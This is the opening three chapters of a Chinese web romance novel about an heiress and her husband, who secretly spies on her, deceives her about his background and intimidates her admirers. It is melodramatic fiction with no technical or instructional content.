《和老实人丈夫结婚第三年》
1. 第 1 章
《和老实人丈夫结婚第三年》
文/祝寻路
2026/05/07
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陈妤正阖眼听秘书汇报明天的行程安排,手机传来专属的微信提示音。
她点开,漆黑眼底微泛涟漪。
“有点凉。”
纤长妍嫩的手指切换到朋友圈,那是宗英宴的一段出浴仰拍视频。
昏暗光影中,浴袍松松散散系着,一路敞开到小腹,银色碎钻胸链凌乱挂在线条遒劲的肌肉群,滚动的水珠滑落至小腹处勃发的青幽色青筋,呼吸间带起强烈的血管搏动力量感。
陈妤手指缓缓摩挲着视频中的人,真不愧是她一眼看中的人,这脸,这身材,满乌市都找不出比他更出挑的。
退出去时,她点赞了那条朋友圈。
作为妻子,陈妤不可避免对丈夫的身体享受独占欲,容不得旁人窥伺惦念一丝一毫。
但宗英宴的微信联络人唯有她一个,那条朋友圈也只有她一个人可以看到。
在陈妤忙碌的更多时候,宗英宴不会过多打扰她,只会通过更新朋友圈内容留下想说的话。
她至今觉得匪夷所思,宗英宴那样的人,明明老实,寡言,貌美,爱哭,这这方面却是大胆直白的可怕,尤其喜欢在不那么私密的场合肆意袒露对她的思念和渴求。
但不可否认,陈妤很喜欢宗英宴为她花的小心思。
“把明天上午的时间空出来。”
起初两人婚后那段时间,陈妤曾让宗英宴在公司担任闲职,或是给他另外开设公司,维持住男人基本的社交圈子。但每次宗英宴都会委屈又可怜跟她哭诉外面的人欺负他,不喜欢他。
渐渐地,宗英宴就不爱出门了。
丈夫的生活里只有她一个人,陈妤别无他法,只能多疼他一点。
凡妮莎是公司里的老人,在陈妤刚接管分公司的时候就被陈总派过来辅助她。
“明天约了和朗星天宸的人上来谈合作项目,推了怕是会被明晴先一步截胡。”凡妮莎面无表情,言辞间都是不认同:“小陈总这把拼劲儿比起当年老陈总可是差远了,哪怕是和你大哥陈总也有很长一段距离,是有什么要紧事要推了这次会议吗,我需要和老陈总请示一下。”
陈妤最烦凡妮莎就是这一点,仗着是公司里三朝元老,又和陈家沾了点亲戚,屡次三番拿老头子压她。
要不是看在她多年为公司卖命的份上,陈妤早就让人滚蛋了。
“我要和宗英宴折腾一晚上,明天起不来,明白?还有,”陈妤凤眼上扬,冷冽又极带压迫感朝凡妮莎看去,“少拿我父亲压我,凡妮莎女士怕是年纪大了容易忘事,关于我不孝女的事迹早已名声在外,你这招不是往我和老头子的血缘关系上火上浇油吗?趁我现在脾性好,劝你见好就收。”
“是,小陈总。”
凡妮莎额上沁出冷汗,许是陈妤接管公司这几年来表现得太像个合格的继承人,让她几乎忘了眼前年轻的小陈总可是10岁就敢火烧陈家祠堂祖宗牌位的人。
富贵窝锦绣堆里养出来的大小姐,不可避免养得一身坏脾气,哪里容得下她倚老卖老,随意置喙。
陈妤和宗英宴的婚房建在半山腰,正对着七桂山脉,长江支流穿梭而过,真真正正依山傍水的福地。
乌市的气候并不稳定,方才还是艳阳高照,不过须臾,黑云几乎压垮天际,深秋时分的微雨带着入骨凉意,淅淅沥沥打在玻璃窗上。
到了地方,后座车门被人打开,黑色长柄伞罩在上方,短暂隔绝了雨幕。
陈妤高跟鞋刚踩上雕花石砖,鼻尖陡然闻到一股和宗英宴身上像了六七分的味道。
“小陈总,下雨小心路滑。”
柔和温柔的男声,细听似乎有些南方的语调。
陈妤这才发现司机不知什么时候换了人,打理得极为整齐的头发下额头饱满,极为年轻,精致俊秀的一张脸。
脑海里搜寻一番,才想起几个月前人事那边说用习惯的司机其中一人退休,投递的简历里有个出身航空学院的应届男大,外在,技术都过硬,特意调给她开车。
视线下移,梭巡过他被细雨打湿的半边肩膀和胸膛,那件衬衫不知什么料子做的,湿透的布料紧贴肌肉线条,若隐若现。
啧啧,真是狼狈又可怜的一只小狗。
陈妤目光挑剔又放肆,似乎在打量一件廉价商品,上位者的傲慢尽显。
“你姓什么?”
“姓谢。”
那人几乎是虔诚的奉献上自己的姓氏,握住伞柄的手指用力到发抖。
是个好姓氏。
可惜了。
陈妤厌倦收回视线。
“你跟我来。”
凡妮莎静静看着这一幕,并未言语。
她刚触了小陈总的虎须,此刻有人帮她分担怒火简直求之不得。
更何况,有些捷径并不是那么好走,毕竟小陈总身后那人可是条疯狗,护食得很,妄想在他眼皮底下夺食,无异于找死。
小谢紧紧跟在陈妤身后,生怕落后一步,那扇大门从此不再向他敞开。
公司传闻小陈总的丈夫原本也不过是个梨园唱戏曲的,凭借着一张好脸才鲤鱼跃龙门,他不贪,只求分一杯羹。
两人的婚房,陈妤向来不喜欢有过多人踏足,她略略向后一瞥,含笑的眼生生让小谢脚步踩了急刹。
“在这等着。”
“是。”
门后的人似乎听到动静,牡丹镂空雕刻的门把手缓慢转动。
那人尚未走出,陈妤却是等不及挤进去,将两条手臂挂在男人脖子,埋在他怀里笑得花枝乱颤,全然将身后的人视若无物。
两人交颈呢喃,男人转眸的间隙,小谢终于看清传闻中小陈总丈夫的脸。
那是一张极美的脸,美得尖锐刺骨,近乎鬼魅,眼角眉梢惑人,冲破皮肉,骨头,直击灵魂,纵使被贴上‘吃软饭’的标签,却跟‘软’‘弱’这些字没有丝毫干系。
脸部轮廓锋锐,攻击性十足,腿特别长,肩背阔直,哪怕是西方人里都少有的高大身形。
似是小陈总在他耳边说了什么,男人也抬眸瞥来,漆黑的眼瞳反折森然冷光,那眼神毫无温度,跟看死人如出一辙。
小谢后脊骨骤然升起一股凉意,心脏仿佛受到用力挤压,每一下跳动都极为费力艰难。
最恐怖的是,小陈总进去了,留下他和她的丈夫对峙。
宗英宴将身后的门关上,啪嗒的一声响动像是打破什么禁锢。他站在台阶上,偏头看小谢,语气淡的没有丝毫起伏:“你在觊觎我的妻子。”
陈述的语气。
小谢眉心猛的一跳,被看穿了反倒不遮掩,目光忮忌看着宗英宴的脸,“你可以,我凭什么不行?”
宗英宴不是圣人,他对陈妤有着病态的占有欲,他的喜怒悲欢全系在她一个人身上,绝对不允许有旁人窥伺她星点半点。
宗英宴步步逼近,贴靠小谢脸上,极尽奚落嫌弃的目光自上而下扫视他若隐若现的线条,“凭你?也配!”
小谢脸色涨红,刚有动作,就被宗英宴单手扼住强制翻了个面,不知对方在他脊骨上按了什么位置,酥麻酸爽陡然席卷全身,竟是动弹不得。
“你干,干什么,别乱来!”
宗英宴并未言语,他急于去啃食享受和陈妤在一起的每一分每一秒,这些碍眼的臭虫不值得他浪费时间。
他居高临下瞥了眼,似是嫌脏了手,拿手帕隔着,单手揪起小谢的皮带就这么轻飘飘的将人提离地面。
疾风骤起,梧桐枝叶簌簌作响,也带来那股相似的味道。
宗英宴眼神陡然一寒,站在斜坡前,松手,一如以往每次处理垃圾。
那团垃圾滚过雨后泥泞的山路,他想,这样大概就能遮住
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身上的骚味了。
坐在车内的凡妮莎远远就听见小谢惊慌的叫喊,还没来得及下车,一声巨响,车身猛的晃动一下。
小谢浑身脏污倒在车轮下,额头撞出个青紫大包,双眼紧闭,已然昏死过去。
再看山坡上那人,眼神阴冷,似是随时张开獠牙生扑过来。
“再让这些垃圾靠近她,你也别干了。”
宗英宴扔完垃圾回来,书房并不见陈妤的身影。他一步步寻找,终于听见浴室传来的水声。
还有台面上那枚褪下来的婚戒。
啧,还真是不听话呢。
陈妤带着湿润的水汽出来时,熟悉的人并没有迎上前来。
她扫视一圈,只见男人独自静坐阳台,佝偻着背,模样落寞。
“怎么坐在这?”
走近了,才发现他手里捏着婚戒。
原来在这,怪不得找不到。
宗英宴抬起头,她才注意到他眼尾的洇红,似是哭过。
陈妤俯身,手指摸上他的脸,温声询问:“怎么了?”
宗英宴视线小心翼翼落在她脸上,举起那枚戒指,声音闷闷地:“你也觉得外面那些男人好是不是,你就是嫌弃我没用,嫌弃我人老珠黄不好看。”
这番话听得陈妤眼眶发酸,愧疚得要命,反思自己拿外面那些烂桃花逼宗英宴支楞起来是不是过分了。
他这样寡言沉闷的性子,初时得知婚后还有人追求她时,只会黯然神伤,独自落泪,是自己一步步拔苗助长,强行逼着他仗她的势去驱赶那些人,是她过于招蜂引蝶,真是难为他了。
“是我的错。”
她想,下次还是让那些人直接消失好了,免得脏了宗英宴的手,还平白惹他不高兴。
陈妤想弯腰吻他,奈何宗英宴生着气,直接站起身来,身高的天然压制,她只能攀上他的肩膀,踮脚吻上来。
等终于贴上那张温热的唇瓣,宗英宴却耍了小脾气,直起腰。
陈妤只能追上去,将脚尖绷得更紧。
等她累的不行,想放弃时,男人温热有力的手掌贴上腰肢,托起,拉近。
两具身体骤然贴紧,不留一丝缝隙。
宗英宴似是不气了,双手捧着她的脸,急切深入啃食。
分开时,黏腻湿润的银丝将断未断。
他埋在她胸前,抬睫,模样可怜又破碎,陈妤思绪莫名飘回两人阴差阳错事后那一夜,宗英宴也是如此。
三年前,家中长辈过寿在梨园过寿,陈妤向来是不爱听这些咿咿呀呀的曲儿,找了个借口四处闲逛。
碰巧瞧见了戏台上白绸飘动下男人那张脸,面容稠艳,深邃漆黑的眼雾气弥漫,破碎惹人怜。后来她又几次三番撞上他被有些富贵权势的太太小姐纠缠逼迫,索性将他带回来。
刚开始陈妤并没有什么想法,只拿他当个漂亮花瓶摆放,只等哪天腻味了再让他离开。
到了陈妤提议他可以离开那一夜,宗英宴拿来一瓶酒开心邀她同饮。他没钱,酒买的便宜,后劲儿却大的很。
宿醉醒后,她摸着赤裸躺在旁边的宗英宴,只能认命。
刚开始,她只图个新鲜。
渐渐地,她觉得每天忙完工作回来有个男人随她折腾也不错。
两人的婚姻就这么稀里糊涂开始了。
宗英宴埋入她的颈窝,用力汲取那股气息,“今晚熬个夜吧。”
陈妤应允:“好。”
结束时,将近天明。
陈妤累的瘫在床上,朦朦胧胧感觉手指被套上个物件儿。
她倦怠睁开眼,是婚戒。
宗英宴又缠上来,咬着她的耳朵低语:“你知道的,我从小就没人疼,你要多疼我一点。”
陈妤又想起他可怜的身世,心疼坏了。
“好。”
毕竟他那样惨,她应该对他好一点,再好一点。
2. 第 2 章
临近中午,陈妤将将转醒。
她浑身酸软,胸.前,后背,腿根,乃至脚背都是密密麻麻暧.昧痕迹,身上那股黏.腻稠.浊的感觉还在。
罪魁祸首总是会在事毕将种子涂抹她全身,陈妤生性爱洁,对此简直难以忍受,耐不住这是宗英宴为数不多的爱好,她不忍心剥夺,久而久之,只能一次又一次纵容他。
见她醒了,宗英宴放下剪刀,将那盆虎刺梅放回原处。
他揽着她的肩背,妥帖放在胸口:“我抱你去洗澡。”
“好。”
浴池建在一楼,顺势而凿建的一处天然温泉,对陈妤这样体寒的人最是适合。
她躺进去,周身惫懒,连根手指都不想动。
有人下了水,池水满溢出去。
宗英宴牵过她的手,十指交缠,另一只手拿着澡巾细细擦洗。他头次这样爱一个人,连这样琐碎的事做起来都觉得是莫大的享受。
在陈妤看不见的视角,他一寸一寸抚过自己的领地。
都是属于他的,真好。
隐隐感觉身后的人有在她身上吃顿午饭的想法,陈妤拂开他的手,咬牙:“不能再来了,纵欲伤身。”
宗英宴很想说他的身体很好,还可以给她很多很多次。
但是看着镜子倒影里陈妤眼底淡淡的青色,还是歇了那股心思。
换了身衣服出来,陈妤看着凡妮莎发来这周的行程,临出门和宗英宴交代:“这周四晚上我有空,约上你父母一起吃饭吧。”
宗英宴为她抚平衣服上褶皱的手一顿,再抬头,眼底的阴翳被很好敛去。
“听你安排。”
苍白冰凉的长指慢条斯理抚上纤长的脖颈,感受着皮肤下阵阵强有力的动脉搏动,宗英宴忍不住埋头深嗅,每一次喘息都像是在舔遍她全身。
还真是不懂事啊,怎么总想着耗费时间在不想干的人身上。
她的眼睛里,只能有他才对。
将陈妤送出门,宗英宴坐上侧门处早已等候多时的黑色宾利。
周秘书坐在副驾,眼观鼻,鼻观心,捧着文件夹汇报上一季度朗星天宸的利润额,读到旗下子公司研究的AI算力芯片同比大幅增长,远超市场预期时,他偷偷观察宗英宴的神色,果然见对方眼底布满阴郁,指骨握得嘎吱作响。
唉,谁让老爷种子不争气,当年就少爷这么一颗种子生根发芽,偌大的家业只能指望这根独苗了。
想想小陈总上七休七,偶尔休息一上午还是被他家少爷缠得实在起不了床,真可谓是业界劳模。而他家少爷顶着个商业奇迹的称号上一休一,整天指望着公司倒闭,好继续回去让小陈总金屋藏娇。
周秘书只能努力顺毛:“这周四的见面,已经将剧本提前发给老爷夫人准备了,结束之后,我会安排老爷和夫人尽快离开,不会耽误您和小陈总的时间。”
宗英宴勉强接受这个好消息,倦怠合上眼休息。
“下午和春日集团的合作,再让利十个点。”
周秘书:“……是。”
他懂,这是上赶着给小陈总上交私房钱了。
下午,周秘书代表宗英宴,带着公司的人前往春日集团。
急速上升的电梯里,他看着摩拳擦掌的一帮商业精英,年轻人光骨头硬,没眼力劲儿,路是走不长远的。
“知道这次我们干什么来吗?”
“周秘书你放心,这次我们绝对寸步不让,争取公司利益最大化。”
周秘书淡笑:“错了,我们是让小陈总开心来。”
在商场上让一个对家开心,自然是将手里这只王牌双手奉上了。
他再次交代:“这是宴总的意思。”
方才还义愤填膺的一群人瞬间偃旗息鼓。
在公司里,没人会质疑宗英宴的决定。
-
歇了一上午,陈妤桌面的工作堆积如山。
刚结束一次视频会议,凡妮莎敲门进来:“小陈总,朗星天宸的人来了。”
陈妤揉揉额角,太阳穴传来的胀痛让她有些疲倦。
“朗星天宸的宴总有来吗?”
“没来,对方的人表示此次周秘书全权代表宴总,他的意思就是宴总的意思。”
陈妤此前就有所耳闻这位宴总,为人古怪,深居简出,迄今为止没人见过他的真容,本人却是个难得的奇才,眼光毒手段狠,21岁时的身家已经超过积累十几代的朗星天宸,荣登国内富豪榜前十。
她更好奇的是,这次的合作对方没来。
是胜券在握,还是不屑一顾?
脑子里百转千回,想了诸多对策,等到了谈判桌上,陈妤发现对方简直是给自己送钱来了。
她面上平静,静静听着,并未言语。
倒是得了命令的周秘书一行人摸不透了。
他小心揣摩着对方的心思:“小陈总是还有其他顾虑吗?您尽管提,我这边能满足的一定配合。”
陈妤笑了:“这样的条件我要还提条件,那岂不是得寸进尺了,贵公司的诚意我看到了,希望这次合作愉快。”
对方上赶着送上肥肉来,哪怕里边藏着刀子,她都要啃下。
周秘书悬着的心总算放下来:“好的,回头我让人拟好合同再给小陈总送过来。”
停车场一侧角落,陈妤隔着车窗,旁观周秘书一行人离去。
朗星天宸的宴总,究竟是什么样的人?
等对方的车队彻底看不见踪影,陈妤低声道:“出发吧。”
“是。”
车子平稳驶入主干道,向乌大出发。
凡妮莎:“演讲结束后,会有10分钟的时间给学生提问,如果小陈总赶时间,这个环节可以省略掉。”
“不用,一帮小孩能问出什么难回答的问题。”
陈妤专注着眼前的企划书,长睫在白玉无瑕的侧脸投下一片阴影,红唇微抿,在思索着怎么收拾底下那帮废物。
乌大说是陈妤的母校也不准确,她6岁就被送往国外上学,16岁好不容易瞒着老头子报了乌大,不过上了一年,就又被扔到国外去了。
不过,那是陈妤妈妈的母校,她的外公外婆均在乌大任职,儿童时期陈妤都在乌大家属院里度过。
如果不是发生了后来的事,按照陈妤原本的人生规划,她现在该去研究宇宙黑洞。
乌大101阶梯教室,平常大学生们嗤之以鼻的第一排早已被占满,甚至有人在讲台旁搬了小板凳。
陈妤进门时,原本喧闹如菜市场的台下瞬间鸦雀无声。
她拉高麦克风的位置,凤眼掠过一张张青春洋溢的脸,约莫是没经历过社会的毒打,陈妤此刻在他们脸上只能看到清澈的愚蠢。
“关于鄙人的经历,寥寥两三件事,实在不值得专门做个PPT献丑。”陈妤关了多媒体,熨帖的衬衣随着微躬身的姿势露出细腻性感的锁骨,“在场的同学,有了解我的吗?”
一位男同学自告奋勇冲上台,凡妮莎几人想阻拦,被陈妤一个眼神止住了。
男同学并没有去动扩音器,红着脸全靠嗓子喊:“12岁破格进入耶鲁YYGS,17岁哈佛硕博连读,22岁博士毕业回国接手家族企业,不到三年就让春日集团的市值资产翻了近十倍,跻进国内女富豪排行榜前十,陈妤,你就是我的神!”
底下一片此起彼伏附和的‘你是我的神!’
不止一个,搬着小板凳的女同学不甘人后:“陈妤是沉鱼落雁的意思吗?陈总,就算你不当老板靠这张脸也绝对哐哐杀进好莱坞当巨星!”
陈妤莞尔,红唇微微阖动:“那我就厚着脸皮承认有这个含义了。”
最后一个提问给到了簇拥在最中间的少年,他站起来,一袭白衣,气骨清绝如水。
陈妤目光不自觉被他吸引,不算近的距离,那张脸却倏忽让她心头一撞。
她记得他。
饶青临,乌大赫赫有名的天之骄子,出身贫寒,智商却极高,这次和朗星天宸合作项目里最关键的王牌AI算力芯片正是由他的团队自主研发。
陈妤远在国外时就有意招揽过他,只不过被拒绝了。
“我记得饶同学曾经拒绝了春日抛出的橄榄枝,现在是打算改变主意吗?”
饶青临视线定格在她脸上,本来清冷的气质突然变得强烈和危险,带着浓郁的情绪。
他并不打算问她商业上的问题,比起这些,他有更关心的事。
“如果陈总的答案让我满意的话,那么我会改变主意。”
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>陈妤抬手,腕骨随意套着的玫瑰手链朵朵盛开:“请讲。”
饶青临逼视她:“您的丈夫,是凭借什么得到了您?”
此言一出,满座静寂。
陈妤敛笑,面目冷然。
“你越线了。”
回程的路上,车况拥堵。
陈妤手里拿着份文件,对着蓝牙耳机那头的人交代:“推出新的产品之后,上一代竞争力无比大打折扣,将价格调低百分之十,保证利润足够的同时将底货清掉。新上线的产品我们目前处于垄断局面,价格再高也会有人买单,全面提高百分之二十,限量出售。”
那头的人应下。
挂了电话,陈妤不经意间扭头,方才在阶梯教室见过的白色影子映入眼帘。
奇怪,公交站人潮来往,她偏偏看见了饶青临。
远处天际黑沉沉的,昭示着即将到来的暴雨。
陈妤淡定转过视线,却突兀传来一股剧痛,以太阳穴为中心向整个头部蔓延,痛如山劈。
她受不住,面色煞白,手撑着后座,嘴角溢出一声痛呼。
“小陈总你怎么了?”凡妮莎慌忙询问。
陈妤吐字艰难:“头痛。”
凡妮莎翻出止痛药给陈妤吃下,她吩咐司机开往医院,说完掏出手机联系交警那边开路。
车窗半开着,饶青临几乎是第一时间跳过围栏跑了过来。
他大半个身子挤进车窗,眼里染上焦灼:“陈妤,哪里不舒服?”
没得到回答,他又将矛头对上司机:“一路撞过去。”
竟是连最低的法律线都不顾了。
陈妤奇怪看了他一眼,诡异的是,在饶青临靠近的一瞬间开始,脑子传来的痛感竟然缓慢消退。
眼皮重重一条,陈妤压下那股失控感:“你上车。”
中控锁打开,饶青临几乎是跳了进去,双手敞开,“如果您需要,可以将我当做肉垫,靠着会舒服一点。”
验证了陈妤的猜想,随着和饶青临距离的拉进,那股突如其来的痛感骤然消失得无影无踪。
她隐有深意扫过他的脸,面色倦怠:“闭嘴,我需要休息。”
交警赶过来开道,一路畅通到了医院。
全套检查下来,报告显示陈妤身体十分康健,医生最终只能推断为工作繁忙,压力过大导致的头部血管收缩,影响神经递质平衡导致的头痛。
凡妮莎并不放心:“小陈总,住院观察一下吧。”
陈妤边说边往外走:“不用。”
饶青临挡住她的去向:“你现在需要休息,听我的好吗?”
“抱歉,你没资格劝阻我。”陈妤停下脚步,她向来相信自己的直觉,瞳孔锁住饶青临的身影,像是突然受到了什么指令,未经过大脑神经思考的话就这么说了出来:“住哪,我送你。”
饶青临几乎是同手同脚走向车子。
临下车,他弯腰抵住车窗,既是宣告也是陈述:“我下个项目核心,是你。”
这边,宗英宴低垂着眼睑,视线涣散,周身萦绕着浓重的阴霾。
距离陈妤回家的时间已经过去了四十七分钟,究竟是什么缠住了她。
门把手传来响动时,男人仿佛得到安抚,躁动晦暗的心短暂落下,急切迎上去抱住陈妤,额头抵住额头,声音有些嘶哑:“快要下雨了,我一个人在家很害怕。”
陈妤的心抽痛了下,伸手抱住他宽厚的肩轻轻拍了下:“今天有事耽误了,对不起。”
宗英宴熟练地埋在她颈窝,打算深吸那股令他痴迷的气息,而这次,除了陈妤身上甜蜜芬芳的气味外,额外多了股淡淡的木质沉香。
身子骤然绷紧。
陈妤感受到了,问他:“怎么了?”
宗英宴强迫自己放松,大掌以绝对掌控的姿势将陈妤扣在怀里禁锢住,藏起獠牙,唇角噙着温柔的笑,“没事,只是太想你了。”
“傻瓜。”
深夜,床旁的妻子熟睡。
宗英宴披上外袍起身去书房,打开电脑连上安装在陈妤婚戒上的窃听器。
很久,他看着电脑上传来的野男人照片,心底的洪水猛兽冲撞而出,凌厉獠牙鬼意森森。
又来一个。
真该死啊。
3. 第 3 章
周四晚上,鱼宴是乌市首家推出唐.敦煌莫高窟壁画风格的下沉式庭院饭店,采用会员制,私密性极好。
“已经安排妥当。”
宗英宴看着手机弹出的消息,确认无误后点击删除。包厢穹顶的飞天神魔扭曲交缠,光影自他高挺鼻梁拦截,半面似神佛,半面似邪魔。
他恨不得吞吃入腹的人,他余生的饕餮盛宴,肮脏臭虫怎么敢不知死活上来染指。
宗英宴心思越狠毒,脸上越温柔,敛眉垂眼,恍若含笑慈悲相,实际满目扭曲到极致的贪嗔爱欲。
另一侧的宗父宗母端详着他的神情,对视一眼,暗暗心惊。
宗母面色忐忑,斟酌着字词:“儿子,上次送给你那本刑法看了吗?”
宗英宴掀起眼皮,似乎十分愉悦:“看了,写的不错。”
遏制了他许多见不得人的想法,却也激发了如泉涌的新思绪,真是一本好书。
宗母欣慰点头,悄摸摸递过去几本书:“夫妻之间重在相处之道,这几本书你好好学,大有益处,学会了保准小妤离不开你。”
宗英宴接过来,扫过封面上的书名。
《魅力男人如何让女人离不开你》
《如何抓住女人的心》
《高情商男人的说话技巧》
他这辈子注定是要和陈妤过完一辈子的,少一分一秒都不行。
少年夫妻行至坟头,陈妤墓碑的另一半也只能刻上他宗英宴的名字。
一丝一毫差错都不能有。
宗英宴打量着二老,头发顺滑,衣着得体,皮肤也过于细腻,他目光平静,唇角要笑不笑:“周秘书没转达我的意思?还是您二位想看我年纪轻轻被抛弃,彻底成为没人要的男人?我本来就命苦,难得和沉鱼过了几年快活日子,等下的戏,还麻烦您二位好好演。”
宗母出身艺术世家,生性不拘,脑洞清奇,知道儿子是不满他们二老这次躲懒没去工地搬砖了,皮肤,体态,穿着也不自觉变成以往养尊处优的模样,看着不像他编造身世里的吸血父母。
“我这恶婆婆剧本能改改吗,好歹也得在小妤眼里落下个好印象。”
宗英宴漆黑的眼依旧沉静,面色淡淡:“不需要,她眼里只需要有我就好。”
宗父脾性不比宗母,封建大家庭主事多年的严肃古板大家长自这逆子生出来,已经被折磨得一次次破功。
每次和儿媳见面前都得让他们夫妻俩去干苦力,就为了陪他演戏骗人,真是个不孝子!
“你这命可算好的了,家中独子,生下来万贯家财唾手可得,从小顺风顺水,家里长辈无一溺爱娇惯,人生里经的那点风雨全是你自找的。”
“万贯家财?我只嫌弃败不完。”宗英宴短促笑了一声,面露嘲讽:“生来给我一个这样的身份,如今还得瞒着我的妻子营造假身份获得她的喜爱,我还不可怜?”
宗父气得脸色涨红,一个大男人一天天净学些勾栏手段争风吃醋,要不是他不能再生,真想将这逆子回炉重造。
宗母出来打圆场“好了,等下的戏保管小妤一来就开场。”
宗英宴面色不虞,抬眼递过几个刀子:“急什么,沉鱼最爱吃这家的冰乳酪,等她先吃了再演,别倒了她的胃口。”
“……好。”
会议临时延长,陈妤赶至鱼宴比预定时间晚了半个小时。
她一路心焦,唯恐晚半步宗英宴就又会被吸血的父母榨干精气神。
婚前陈妤派人调查过宗英宴,瘫痪的爷,精神失常的奶,好赌的妈,酗酒的爸,还有想把老实本分的他卖给富婆赚彩礼钱的好吃懒做小叔……
宗英宴曾经不止一次吻遍她的后背,说是她将他从泥潭里拉出来,婚后和她过的每一天都是好日子,以前他只敢奢望每顿吃上两个馒头,不用再挨饿。
推门而进,十厘米的高跟鞋气场全开,陈妤一眼就看见倒在大红色帷幔里的宗英宴,男人骨相华丽,微阖着狭长的眼,鬓边几缕黑发垂落,开司米套头羊毛衫松松垮垮套着,大V领的设计露出一片雪白紧实的胸肌。
听见脚步声,宗英宴抬起一双含情眼望来。
视线相撞的一瞬间,陈妤几乎生出一种错觉,这人怕不是山中的妖,专门下凡蛊惑他的心。
陈妤在宗英宴旁边落座,十分满意二老看自己犹似恶鬼的害怕模样,她就是要让他们眼睁睁看着从小最不得宠爱的儿子攀上有权有势的人物,却偏偏不让他们跟着享一点福。
宗英宴挠挠陈妤掌心,将她的注意力吸引回来,分出半碗冰乳酪。
“你爱吃这个,但是天气凉,少吃点。”
说是半碗,实际只让她吃了两口,剩下的每勺子都让宗英宴捏着陈妤的手腕亲自喂到他的嘴边,末了舔舔嫣红的薄唇,高挺的鼻骨旁若无人蹭着她的,低声呢喃:“沉鱼喂的就是好吃,我从生下来就没人喂过,只能趴在地上舔粥水。”
陈妤只遗憾没有预知能力,不然她一定在刚出生时就让人把宗英宴接来好好将他养在身边,她刮骨似的眼神扫过二老,想着下次把人发配到非洲打黑工去才能解她心头恨。
宗父只恨不得把自己眼睛戳瞎,耳朵灌聋。
这逆子13岁前就没有自己夹过一粒饭,一根菜,哪次不是饭来张口喂到嘴边。
宗母埋头生怕自己露馅,她只同情一无所知的儿媳妇,真是造孽。
陈妤中途接了个电话,只留宗英宴一人面对父母,隔着山水屏风,她看见二老一如既往不知死活,换上那副奸恶贪婪的嘴脸,短粗藏满污泥的手指径直戳到宗英宴如玉的脸上。
“原以为你攀上高枝 能带携我和你爸过上富贵日子,没想到你个烂泥扶不上墙的连根茶叶棍都倒不出来。”
宗母演过几年话剧,表情唯妙唯俏,彻底演爽了:“我和你爸想过了,既然我们给了你这样一张好脸,你也别浪费,伺候一个也是伺候,我这里一堆富婆,她们说了,只要你肯去陪她们,十万块钱一个月,不得了耶。”
轮到宗父上场:“我怎么就生了你这么个孬种玩意儿,挺大个男人让个丫头拿捏住了,钱没捞到,人还赔进去了。可说好了,这十万块你不能拿,得存着给你小叔娶老婆呢,就是隔壁村那个脑子有问题的寡妇,能生就行,反正有你养。”
陈妤听着,只觉得心头攒了股火山。
反观宗英宴默默垂头听着,脊骨好似被大山压垮,无力反抗,任由这世界的风雨向他倾倒。
她拐个弯出来,面色瞧不出半分生气,却无端让人生出一种心惊肉跳的感觉来。
“让宗英宴养什么?”
宗母讨好笑笑:“我们这教儿子呢。”
陈妤笑意虚浮在表面:“我的丈夫我自然会教,他不需要当好一个儿子,这辈子他会有很多身份,唯独这个不需要。”
她决定了,明天就将这两人扔到鸟不拉屎的地方打黑工。
“走,我们回家。”
陈妤拉起宗英宴的手,一如当初将他从梨园带走。
市中心的夜晚,光怪陆离的灯火加错,道路也格外拥挤,车子被堵在半路上。
宗英宴似乎还沉浸在刚才的情绪中,周身颓靡。
“你都听到了是不是?”他没看她,自顾自呢喃,“我知道你听到了他们让我去陪别人,不会的,我的身体只有你能碰。”
“我信你。”
陈妤的手被宗英宴带着抚过他俊美妖冶的脸,弧度锋利的下颌,性感滚动的喉结,他浑身极度紧绷,却仍记着向她献上虔诚。
他又补充:“绝对不像那个贱男人一样。”
陈妤循着他视线望去,只见幽暗暧昧的小巷,饶青临那身被她暗赞过的清骨正被一圈上了年纪的老阿姨上下其手,甚至伸进裤子里。
而饶青临混迹其中,如梦似幻,风流浪荡。
宗英宴贴上陈妤的耳根:“这样不自爱放荡的男人最肮脏了。”
“嗯,你说得对。”
陈妤收回视线。
-
春日集团会议室。
饶青临带领着团队汇报最新研究进展,作为核心研发者,他当之无愧第一个上场。
台下的陈妤轻眯凤眼,眼前饶青临的脸仿佛和昨晚小巷里的重叠,让她隐隐有种恶心欲呕的厌恶感。可偏偏她忽然失神,像被定住一般,看着看着再挪不开眼。
她觉得身体仿佛被某股力量驱使,脱离操控,突然间站了起来朝台上的饶青临走去。
凡妮莎看出不对劲,出言喊了一声小陈总。
像是天外来音,陈妤神台骤然清明,身子却像被抽干力气,直直往前倒。
“小陈总!”
“陈妤!”
“……”
一群人争先恐后围上去。
陈妤醒来发现在好友的私人医院。
“怎么样
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?”闻经纶翻看着她的检查报告,“你的报告显示身体很健康,但凡妮莎说你当时发生一过性的意识丧失,发生了什么?”
陈妤抬眼和他视线相接,相交多年,事关身体,她对他毫无隐瞒:“我最近遇上一个人,每次见了他就挪不开眼,身体出现异样。”
“毫无征兆?”
“对。”
“同一个人,长得好看吗?”
“同一个,好看。”
闻经纶金丝框镜片下的狐狸眼掠过暗光:“陈妤,你有没有想过?那不是异样。”
陈妤抬眼,静待他的回答。
闻经纶却先勾了下唇,朝她倾身,压低的嗓音微哑:“没有人规定婚后的女人不能对别的男人动心,陈妤,不要压抑自己,你需要释放,你可以走出这一步试试。”
身后的门打开,有人拾步而来。
宗英宴面色如常,坐在陈妤床边搂着她:“凡妮莎和我说了,大概是工作累了,你好好休息,什么都不要想。”
陈妤此刻只想让脑子放空,闻着熟悉的味道,渐渐陷入睡眠。
闻经纶还没走,手背刚贴近陈妤的脸,就被一只大手扼住。
他也不慌,笑容温和:“你以为,凭你能独占陈妤?”
宗英宴伸手捂了陈妤的耳朵,才放心撕了老实人脸皮,眉宇间攒足浓浓戾气:“你以为凭借几句话就可以挑拨我们夫妻间的感情,我是陈妤的合法丈夫,而你,什么都不是。”
闻经纶笑了笑:“那拭目以待。”
把人彻底哄睡,宗英宴先去审了周秘书一群人,得出的结果是陈妤看着饶青临入了神,站起来莫名其妙就晕了。
空气寸寸凝结,死寂的氛围里,听不到多余的气息。
“将饶青临带过来。”
周秘书很上道,直接将人捆了,理由是蓄意伤人。
宗英宴掀了掀眼皮,目光沉冷打量着被随意仍在地上的男人。
“将他衣服脱了。”
饶青临被快速扒光,被这样对待,清冷如玉的脸色并不觉得羞愤,反倒是尽可能舒展开,好让对方看得更清。
“和你相比怎么样,按照你的经验,陈妤会喜欢吗?”
周秘书眉心跳了跳,默默退至门外。
宗英宴确认他没有携带任何危险物品,那么问题就出现在这张脸上。
是这张脸蛊惑了陈妤。
他漆黑的眼又冷又厉,脚尖毫不留情踩上去,用力碾动:“不要再出现在她面前。”
